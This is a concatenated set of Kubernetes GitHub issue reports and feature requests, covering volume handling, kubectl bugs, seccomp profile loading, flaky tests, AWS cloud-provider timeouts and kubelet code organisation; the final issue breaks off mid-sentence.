kubernetes 1.2.4  in rancher we support kubernetes as an orchestration framework, while rancher acts as an infrastructure platform for various cloud providers  do, aws, gce, etc . rancher is registered as a cloud provider in kubernetes, and acts as a proxy for other cloud provider's hosts. it was done to enable extra functionality provided by rancher  overlay network as an example  in addition to functionality given by providers themselves.  starting 1.2.4, we were unable to use kubernetes persistent volumes feature; the commit below disabled it for us:      commit c04108e90ca28e341af2bd72bcef6e09e7400763 author: saadali <saadali@google.com> date:   fri apr 1 16:40:36 2016 -0700      ensure volume getcloudprovider code uses cloud config      in our case, the provider in the code below is returned as a rancher provider, not aws cloud provider, and the error is raised.      cloudprovider := plugin.host.getcloudprovider          awscloudprovider, ok := cloudprovider.  aws.awscloud         if !ok || awscloudprovider == nil {                return nil, fmt.errorf \ failed to get aws cloud provider. plugin.host.getcloudprovider returned %v instead\ , cloudprovider          }      i wonder what is the recommended approach to unblock persistent volumes use for a use case like ours?

spinoff from https://github.com/kubernetes/kubernetes/issues/20176

this pr is to justify adding the node boottime information in its status. the following is to describe the use case.\r \r when node is restarted, the attached volumes will be detached automatically for some volume types such aws ebs and gce pd. the volume controller running on master does not know this information and will continue to regard this volume is still attached, so that re-attach will not be issued. current solution is to periodically check with the cloud provider that whether the volumes are still attached. for cloud provider especially aws, it has rate limit and this query can easily reach the limit if the cluster size is big  current implementation is to issue a query per node, and there is ongoing work to issue a query for a whole cluster . \r \r one proposal is to use the node boottime information to avoid this periodic pulling status. it also needs a flag  updateafterboot  to show whether the attachedvolume list has been updated or not after node start/restart. \r on node, when kubelet starts, it checks its boot time and compare it with the record in node status. if boottime is different, update its boottime and set the flag updateafterboot to false. when volume manager retrieve the attachedvolume list, if checks the flag and only use the list if the flag updateafterboot is true.\r on master, it keeps a record of previous boottime for a node. when updating the node status, it checks whether the boottime matches the node status record. if it does not match, it query the cloud provider to update the attached volume information. after updating the node status, it set the updateafterboot to true. in this way, it only needs to query cloud provider in case of node restart.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r  linux k8s-master 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r terraform and saltbase from this repository\r -   others  :\r \r \r   what happened  :\r the kubernetes salt installer from this repository expects a ca.crt to be present in  /srv/salt/kubelet  but does not use the salt cert generator to create and place the ca.crt.\r \r   what you expected to happen  :\r salt should detect if no  ca.crt  is present and then proceed to use the cert generator in the saltbase directory to create a ca crt.\r \r   how to reproduce it    as minimally and precisely as possible :\r stand up a salt master and then provision a kubernetes master slave. provisioning will fail because the kubelet tasks cant be completed.\r \r   anything else we need to know  :\r i am happy to submit a patch for this issue as per your contributing guidelines if this issue is accepted.\r

\r k8s.io/kubernetes/vendor/k8s.io/kube-apiextensions-server/test/integration testcrossnamespacelistwatch 5.54s\r basic_test.go:501: expected added, got from junit_fd4bc6eaf817457a8dad8075fc1484aee6f3e66a_20170527-074212.xml\r filter through log files\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/36721/pull-kubernetes-unit/33133/\r

there is no way to choose to skip certain upgrade tests as they are  hardcoded  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/lifecycle/cluster_upgrade.go l42 . this is problematic when some of the upgrade tests make assumptions that may not apply to a setup  eg. storageclass, heapster, cloud provider . \r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r \r if a pod is already running in the default namespace with the expected name  i.e.  recycler-for-vol  , the pv recycle method just assumes it's a recycler pod. however, if it is not a recycler, it could result in the volume being reused without the data being cleared.\r \r   what you expected to happen  :\r \r the recycled volume should not be reused until the data has been verifiably deleted. the easiest approach would be to make it an error to not run the recycler pod successfully, i.e. delete these lines:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util.go l83-l85\r i think that should be safe, since the recycler will retry.\r \r other errors in that method should also be considered fatal, e.g.:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util.go l92\r

failure cluster  53cdeea7fa10ed3a866c  https://go.k8s.io/triage 53cdeea7fa10ed3a866c        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:249 oct 18 09:37:05.359: test session affinity, cost time: 1m45.52479004s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:248           failure cluster statistics: 1 tests failed,    13 jobs failed,    135 builds failed. failure stats cover 1 day time range '24 oct 2017 22:03 utc' to '25 oct 2017 22:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  networking granular checks: services  slow  should function for client ip based session affinity: udp | 13 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-slow | 28 |  25 oct 2017 21:06 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/11465  | | ci-kubernetes-e2e-gce-cosbeta-k8sbeta-slow | 12 |  25 oct 2017 20:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sbeta-slow/2032  | | ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow | 12 |  25 oct 2017 20:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow/2076  |        previously closed issues for this cluster:  53836    current status  https://go.k8s.io/triage 53cdeea7fa10ed3a866c

is this a bug report or feature request?  :\r >  \r   what happened  :\r when the network plugin detects a failure  e.g. the cni configuration is not on disk , we don't set nodenetworkunavailable. instead, the kubelet sets nodeready to false with a comma-separated list of all errors as the message.\r \r this is hard to parse out, and often masks the true problem. it also is confusing to end-users, because the state nodenetworkunavailable only means that a podcidr hasn't been assigned.\r \r   what you expected to happen  :\r a network failure causes nodenetworkunavailable to be set\r \r   how to reproduce it  as minimally and precisely as possible   :\r bring up a kubelet with  --network-plugin=cni  and no cni configuration files on disk.\r

 @kubernetes/sig-api-machinery-bugs\r  \r i tried to set up the seccomp chmod prevention example  https://blog.jetstack.io/blog/kubernetes-1-3-hidden-gems/  and was unable to let it run.\r \r i used the following profile file /var/lib/kubelet/seccomp/prevent-chmod:\r    \r {\r   \ defaultaction\ : \ scmp_act_allow\ ,\r   \ syscalls\ :  \r     {\r       \ name\ : \ chmod\ ,\r       \ action\ : \ scmp_act_errno\ \r     }\r    \r }\r    \r i used the following pod config:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: chmod-prevented\r   annotations:\r     container.seccomp.security.alpha.kubernetes.io/chmod: localhost/prevent-chmod\r      seccomp.security.alpha.kubernetes.io/pod: localhost/prevent-chmod doesn't work either\r spec:\r   containers:\r   - name: chmod\r     image: busybox\r     command:\r       - \ chmod\ \r     args:\r       - \ 666\ \r       - /etc/hostname\r   restartpolicy: never\r    \r when using \ docker/default\  or \ unconfined\ , it is working fine. but neither the pod nor the container annotation work – both result in:\r    \r ... localkube 1261 : e0103 10:31:29.955160    1261 remote_runtime.go:187  createcontainer in sandbox \ b864575cf9858462ae260cefeebaa7ee4c45a6e4c7e69c0ab5c078507626b1c4\  from runtime service failed: rpc error: code = unknown desc = failed to generate security options for container \ chmod\ : failed to generate seccomp security options for container: unknown seccomp profile option: /var/lib/kubelet/seccomp/prevent-chmod\r ... localkube 1261 : e0103 10:31:29.955282    1261 kuberuntime_manager.go:714  container start failed: createcontainererror: failed to generate security options for container \ chmod\ : failed to generate seccomp security options for container: unknown seccomp profile option: /var/lib/kubelet/seccomp/prevent-chmod\r    \r \r while trying to find my error, i came accross https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/helpers_linux.go that raises this error message here:\r    \r func getseccompdockeropts seccompprofile string     dockeropt, error  {\r \tif seccompprofile == \ \  || seccompprofile == \ unconfined\  {\r \t\t// return early the default\r \t\treturn defaultseccompopt, nil\r \t}\r \r \tif seccompprofile == \ docker/default\  {\r \t\t// return nil so docker will load the default seccomp profile\r \t\treturn nil, nil\r \t}\r \r \tif !strings.hasprefix seccompprofile, \ localhost/\   {\r \t\treturn nil, fmt.errorf \ unknown seccomp profile option: %s\ , seccompprofile \r         }\r         ...\r    \r it looks to me that the localhost was cut-off somewhere before...\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: sufficient:- \r - os  e.g. from /etc/os-release : ubuntu 17.04\r - kernel  e.g.  uname -a  : linux laptop-p51 4.10.0-42-generic  46-ubuntu smp mon dec 4 14:38:01 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: minicube\r - others:\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r trying to expose a pod using a selector\r \r   what you expected to happen  :\r to be able to create a service with a kind and selector only\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl expose pod --selector='app=myapp' --name myappsvc --port=4242 \r \r   anything else we need to know?  :\r it fails with:\r    \r $ k expose pod --selector='app=iscsi-demo-target' --name kk --port=55\r error: resource s  were provided, but no name, label selector, or --all flag specified\r see 'kubectl expose -h' for help and examples.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: minikube\r - others:\r

this test is consistently failing and it's a blocking test for 1.10 patch releases. \r  \r https://k8s-testgrid.appspot.com/sig-release-1.10-blocking gci-gke-1.10&include-filter-by-regex=dashboard\r \r /king bug

right now  in master, which is cef2d325ee1be894e883d63013f75cfac5cb1246 at the time of writing , if you implementing the scale subresource for a crd, you have to point  labelselectorpath  to a field under the crd's  .status  field\r  see the documentation for that field, plus https://github.com/kubernetes/kubernetes/blob/cef2d325ee1be894e883d63013f75cfac5cb1246/staging/src/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/validation/validation.go l511 \r \r this restriction doesn't make a ton of sense for objects that use labelselector as part of their spec to discover the objects that they own  e.g. replicaset , and contridicts the way labelselector works for built-in objects  e.g. for replicasets, it points at  .spec.labelselector  .\r \r we should remove this restriction.\r \r cc @kubernetes/sig-api-machinery-bugs  @nikhita \r \r 

what happened  :\r can't get resource object（deployment、namespaces、configmap）  from kube-apiserver，but can get configmap and other resource object。\r \r \r > i1126 22:24:17.822162      18 wrap.go:42  get /api/v1/endpoints?limit=500&resourceversion=0:  504.009µs  429   kube-proxy/v2.11.19  linux/amd64  kubernetes/1e57adb  192.255.189.109:52472 \r > i1126 22:24:17.822744      18 wrap.go:42  get /api/v1/services?limit=500&resourceversion=0:  445.541µs  429   kube-proxy/v2.11.19  linux/amd64  kubernetes/1e57adb  192.255.189.109:52472 \r > i1126 22:24:17.840712      18 wrap.go:42  get /api/v1/namespaces/fst-manage/pods/ingressproxy-ber-29rjd:  4.433369ms  200 \r \r   what you expected to happen  :\r get all resource object from kube-apiserver。\r   how to reproduce it  as minimally and precisely as possible   :\r low probability，maybe happen after etcd server change leader.\r \r   anything else we need to know?  :\r restart kube-apiserver can be restored\r   environment  :\r - kubernetes version  use  kubectl version  : k8s 1.9.10 \r \r 

kubernetes 1.0.3 watch api is not clear and almost useless. also it does not comply documentation. will try to explain by examples:      curl localhost:8080/api/v1/pods?watch=true      returns only one latest object for each pod with: ... \ resourceversion\ :\ 41195\  ... \ resourceversion\ :\ 43383\  ... then:        with any resourceversion lower the last at least by 1 or more returns curl localhost:8080/api/v1/pods?watch=true\\&resourceversion=43300          json {\ type\ :\ error\ ,\ object\ :{\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ 401: the event in requested index is outdated and cleared  the requested history has been cleared  95462/43300    95461 \ }}      at the same time for nodes which is updated every few seconds  same approach is works:      curl localhost:8080/api/v1/nodes?watch=true   few objects with \ resourceversion\ :\ 95466\           curl localhost:8080/api/v1/nodes?watch=true\\&resourceversion=95000   returns 466 object entries as expected      why whis happens? resourveversion is a global counter for all  kind 's in kubernetes? if yes, where this is described, and how this api can be useful? i read https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api-conventions.md concurrency-control-and-consistency but it's said nothing about this or i missed this . so how i can retrieve any changes for pods if counter always in future  for pods or any infrequently changed objects ? node's changes will almost always \ shadow\  any others.  according to the swagger docs  http://kubernetes.io/third_party/swagger-ui/ !/api%2fv1/watchservicelist :      resourceversion:  when specified with a watch call, shows changes that occur after that particular version of a resource. defaults to changes from the beginning of history.      but this is also not true! when resourceversion is omitted it returns only last changes, not  from the beginning of history  as described in docs, and this even confirmed in https://github.com/kubernetes/kubernetes/issues/13969

an automated system for getting humans to fix flakes. from the  doc shared with kubernetes-dev mailing list  https://docs.google.com/document/d/1jngrrzymgnxovunnzver_tokh_z11vvskxllxu1gg0a/edit heading=h.4zycjcwy0c59 .  the goal here is to have a redundancy in the system: if a flake has been assigned to someone without activity for long enough, we need something to cause either a reassignment or cause the human to actually work on the thing.  daily, generate the following reports: - average age of open flakes, bucketed by priority.   - start counting from when the flake was filed or its most recent  - all flake issues violating the slo defined below.   - maybe send this list as an email to kubernetes-dev if it’s not empty? - all flake issues half as old as the slo defined below.   - automatically make a comment on each of these issues asking the owner to update their status. do this on {p0, p1, p2} issues no more than once per {12, 24, 48} hours  idea to get the ball rolling. define the below: - flake fix/activity slos:   - flakes labeled p0:   - we expect a fix in 2 days.   - flakes labeled p1:   - we expect a fix in 1 week.   - flakes labeled p2:   - we expect a fix in 2 weeks.  generate reports of all issues violating the slo. send these reports to the contact for the org that the assignees are a part of. todo: identify teeth. we could block prs from orgs out of compliance, but that’s very drastic. hopefully we can think of something friendlier.

address todo in https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/summary_test.go  from https://github.com/kubernetes/kubernetes/pull/28195

bug report\r \r   kubernetes version    use  kubectl version  : 1.5.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos beta channel\r \r   what happened  : we have automation running inside jenkins in a kubernetes pod.  with the rollout of 1.5.0, calling  kubectl --context=something get pods  now defaults to the incluster configuration rather than the desired \ something\  context and we see the following error:  error: the namespace from the provided object \ staging\  does not match the namespace \ jenkins\ . you must pass '--namespace=staging' to perform this operation \r \r   what you expected to happen  : the same as 1.4.6 behavior; kubectl respects the  --context  parameter.\r \r   how to reproduce it    as minimally and precisely as possible : see above.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : no\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 14.04.5 lts\r -   kernel    e.g.  uname -a  : linux 3.13.0-110-generic x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when    --cloud-provider=aws    is set on kubelet the following appears in logs:\r    \r i0322 15:42:12.601109   26590 aws.go:749  building aws cloudprovider\r i0322 15:42:12.601346   26590 aws.go:703  zone not specified in configuration file; querying aws metadata service\r error: failed to run kubelet: could not init cloud provider \ aws\ : error finding instance i-0361dc426667618be: error listing aws instances: requesterror: send request failed\r caused by: post https://ec2.us-east-1.amazonaws.com/: dial tcp 54.239.29.8:443: i/o timeout\r    \r kubelet then exits. our vpc containers 4000+ instances and an unfiltered called to describe-instances will time out. \r \r   what you expected to happen  : kubelet to start.\r \r \r   how to reproduce it    as minimally and precisely as possible : have thousands of ec2 instances running in your vpc and start kubelet with    --cloud-provider=aws   \r \r \r   anything else we need to know  :\r could a filter be provided to limit the scope of the api call? why does kubelet need to look up every single instance in the vpc?\r

the unit tests described here https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kube-aggregator/pkg/controllers/autoregister/autoregister_controller_test.go are really hard to read and they've been flaking.  a pattern based on indexers like this https://github.com/kubernetes/kubernetes/pull/45432/files diff-4c8b74b3f2b85a47ccb791ccb88eddcer106 is easier to understand.\r \r i would suggest writing a new unit test file and once the coverage is consistent, just deleting the old one.\r \r we need coverage for:\r  1. ignoring apiservices that aren't auto managed when they are mutated\r  1. create an apiservice in response to addapiservicetosync\r  1. delete an apiservice in response to removeapiservicetosync\r  1. duplicate removeapiservicetosync don't panic\r  1. duplicate addapiservicetosync don't panic\r  1. addapiservicetosync an apiservice, then having the user take ownership  remove  autoregistermanagedlabel  annotation , then removeapiservicetosync should not touch the apiservice\r  1. creating an apiservice with the  autoregistermanagedlabel  when no such service has been addapiservicetosync, should result in apiservice deletion\r  1. addapiservicetosync an apiservice, then modify the apiservice.  the apiservice should be stomped back to the addapiservicetosync value.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r after setting up an intellij project files for the kubernetes repo, i had intellij related project files in the directory. wanting to clean up some generated  bazel-   files, i ran  make clean . i was surprised to see that my intellij project files were deleted as well.\r \r   what you expected to happen  :\r \r i would have expected  make clean  to remove only files generated by kubernetes development commands. i would not have expected it to not delete files that i created and intended to be long-lasting, but were only usable by me, and thus gitignored.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a intellij project for kubernetes that places  .idea/  or  .iml  files in the repo. run  make clean . the intellij project will be deleted.\r \r   anything else we need to know?  :\r \r i'm not entirely ensure what the correct behavior is here. i see the change to use  git clean -xdf  was made recently by @cblecker in this  pr  https://github.com/kubernetes/kubernetes/pull/51911 . the reasons stated in the pr make a lot of sense to me. however, i think this doesn't cover the edge case in which a file is gitignored because it should be long-lasting and it will be unique to each development environment, and thus should not be removed on every  make clean .\r \r i'd love to work on figuring out the proper behavior here, and submitting a pr to fix - please let me know how i can help : \r

we set  kube_enable_cluster_monitoring=none  in our scalability  job  https://github.com/kubernetes/test-infra/blob/master/jobs/env/ci-kubernetes-e2e-gce-scale-performance.env  which earlier had the effect of not creating heapster  or any other monitoring related addons . but metrics-server pod seems to get created.\r \r cc @kubernetes/sig-instrumentation-bugs @fgrzadkowski @x13n @piosz

   what happened  :\r when local-up-cluster in container,failed to start pod.\r    \r kubectl get po --all-namespaces\r namespace     name                        ready     status             restarts   age\r kube-system   kube-dns-8696df5f45-tdggg   2/3       crashloopbackoff   9          10m\r   warning  unhealthy              9m  x7 over 10m    kubelet, 127.0.0.1  readiness probe failed: get http://172.18.0.2:8081/readiness: dial tcp 172.18.0.2:8081: getsockopt: connection refused\r   warning  backoffstart           5m  x6 over 6m     kubelet, 127.0.0.1  back-off restarting failed container\r   warning  unhealthy              19s  x18 over 9m   kubelet, 127.0.0.1  liveness probe failed: http probe failed with statuscode: 503\r    \r   what you expected to happen  :\r when local-up-cluster in container,pod runs successfully.\r   anything else we need to know?  :\r kube-proxy log:\r    \r i0122 07:43:27.543816   68689 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 1048576\r i0122 07:43:27.543853   68689 conntrack.go:52  setting nf_conntrack_max to 1048576\r i0122 07:43:27.543960   68689 mount_linux.go:193  detected os without systemd\r i0122 07:43:27.544174   68689 conntrack.go:83  setting conntrack hashsize to 262144\r f0122 07:43:27.544216   68689 helpers.go:120  error: write /sys/module/nf_conntrack/parameters/hashsize: operation not supported \r    \r it seems that in container it will not be able to modify /sys/module/nf_conntrack/parameters/hashsize.\r - kubernetes version  use  kubectl version  :v1.8.4\r

 \r   what happened  :\r we'd like to specify custom  ownerreferences  in our resources.\r \r at this moment, we deploy every branch on our development cluster automatically. we just now tried doing the same for a new application, however, that application includes  clusterrole s and  clusterrolebinding s. these are cluster scoped, and will not be automatically cleaned by our cleaner that just deletes the entire branch namespace.\r \r we'd like to just specify on the  clusterrole  and  clusterrolebinding  that the owner of those resources is the namespace, and have it cleaned together with the rest of the deployment. right now, it is not possible due to the resources being cluster-scoped, and the ownerreference requiring a  uid . \r \r   anything else we need to know?  :\r /\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration\r google kubernetes engine,  n1-standard-1  and  n1-standard-2  instances.\r - os  e.g. from /etc/os-release :\r /\r - kernel  e.g.  uname -a  :\r /\r - install tools:\r /\r - others:\r /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/kubectl/kubectl.go l805-l807\r \r at e2e test for kubectl above, success scenario is  replicas  key is not contained in result of  view-last-applied .\r but test failure message is  missing \ replicas\ : 2 in kubectl view-last-applied , in spite of  replicas  key is contained.\r \r   what you expected to happen  :\r \r when test for absence of  replicas  key failed, correct message is  presenting \ replicas\ : 2 in kubectl view-last-applied .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1057+8f906fefae84be-dirty\ , gitcommit:\ 8f906fefae84bebf5fe1ba60a4f2c8b5f1a6d775\ , gittreestate:\ dirty\ , builddate:\ 2018-09-05t07:30:12z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1057+8f906fefae84be-dirty\ , gitcommit:\ 8f906fefae84bebf5fe1ba60a4f2c8b5f1a6d775\ , gittreestate:\ dirty\ , builddate:\ 2018-09-05t07:30:12z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none, hack/local-up-cluster.sh\r - os  e.g. from /etc/os-release :16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  :4.4.0-124-generic\r - install tools:hack/local-up-cluster.sh\r - others:

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r in an otherwise-stable bare-metal setup, with only localvolume and nfs storage, and without any volume mount activity, i get 80,000+ of these warning messages per day:\r    \r kube-system.kube-controller-manager kube-controller-manager-borg0.ci w0209 16:21:55.722176       1 plugins.go:845  \\\r  findexpandablepluginbyspec vinson-cloud  -> err:no volume plugin matched\r    \r   what you expected to happen  :\r no warnings; and if there is a reason to generate these warnings, more info about what operation is being attempted should be added to the warnings message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i don't know. this issue emerged after i added about 40 services and 300 volumes on a 3-worker cluster.\r \r   anything else we need to know?  :\r    \r $ kubectl get storageclasses\r name                      provisioner                    age\r local-storage  default    kubernetes.io/no-provisioner   63d\r nfs-client                kubernetes.io/no-provisioner   62d\r    \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.0\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : ubuntu 18.04.1 bionic\r - kernel  e.g.  uname -a  : 4.15.0-42-generic\r - install tools: kubeadm\r - others: \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  docker ps   no running pod\r  docker ps -a  can find containers have stopped\r  kubectl get pod -o wide  can find this node have pods are running\r i restart kubelet and the status became ok\r i didn't notice any pleg log in kubelet.log \r maybe i think the kubelet cache is dirty because of some errors\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r i cannot reproduce it , but i meet this problem twice half a year.\r i want to know, have you ever had the same problem?\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

tl;dr: the versioned api types should be self-contained package. for example, the file \ pkg/api/v1beta3/types.go\  is not self contained and contains tendrils to other internal types  see below . this is somewhat cruddy for other clients wanting to import minimal source from k8s just to call its apis. it'd be nice to have a single package to import to get the api object definitions  i.e. for json unmarshalling, etc .  observed outside of package depencies in \ pkg/api/v1beta3/types.go\ :  \ pkg/runtime\  - the \ list\  type contains a field \ items   runtime.rawextension\ . \ rawextension\  is a trivial struct containing only a \   byte\ .  \ pkg/types\  - various places uses the \ types.uid\  struct, which is an alias to \ string\ .  \ pkg/util\  - two types from this package are used: \ util.time\  and \ util.intorstring\ . the former is a wrapper on go's time object, with extra functions for custom json serialization  rfc3339 compliant  in \ pkg/util/time.go\ . \ intorstring\  is the dual-mode struct holding an int value or a string  \ pkg/util/util.go\  .  \ pkg/api/resource\  - the \ resourcelist\  object is a map whose keys are \ resource.quantity\  objects. the \ quantity\  object contains a field to \ inf.dec\ , which is an infinite precision decimal package imported from \ speter.net/go/exp/math/dec/inf\ . this is the only package which is external to k8s.  i know that some of the json annotations added are to support swagger, but the go->swagger->go thing seems like an unnecessary complexity.

i started working on the kubelet recently, and i think we need to refactor the way the files and directories are organized. for example, there are a bunch of utilities functions scattered around in various files in the main kubelet package, which can be better aggregated into relevant packages. besides being messy and confusing, having utilities lying around in the main kubelet package also seems prone to cyclic dependencies  kubelet.go uses kubelet/subpackagea, but kubelet/subpackagea/pods.go might want to use kubelet/types.go . there are many other issues, for example there's a kubelet/util.go and kubelet/util/format.go, both of which mostly contain functions that extract information from pods.  refactoring all the files in one pass is very tedious, but i think it's useful to lay out a directory structure we're aiming for. as we add features to the kubelet, we can extract functions with a desired directory structure in mind. for example, in my current project, i’m adding functions which extract information from a pod, so i’m trying to aggregate “pod information” functions into a package.  here’s a proposed structure:  container - generic - docker - rkt  pod - podinfo - podworkers  managers - disk - image - pod - container - volume - status  statistics - cadvisor - prometheus  setup - envvars - config  types  mirrorclient  network  oom  healthcheck - prober.go  run - runonce.go - runtime_hooks.go  server  lifecycle  leaky  i believe this 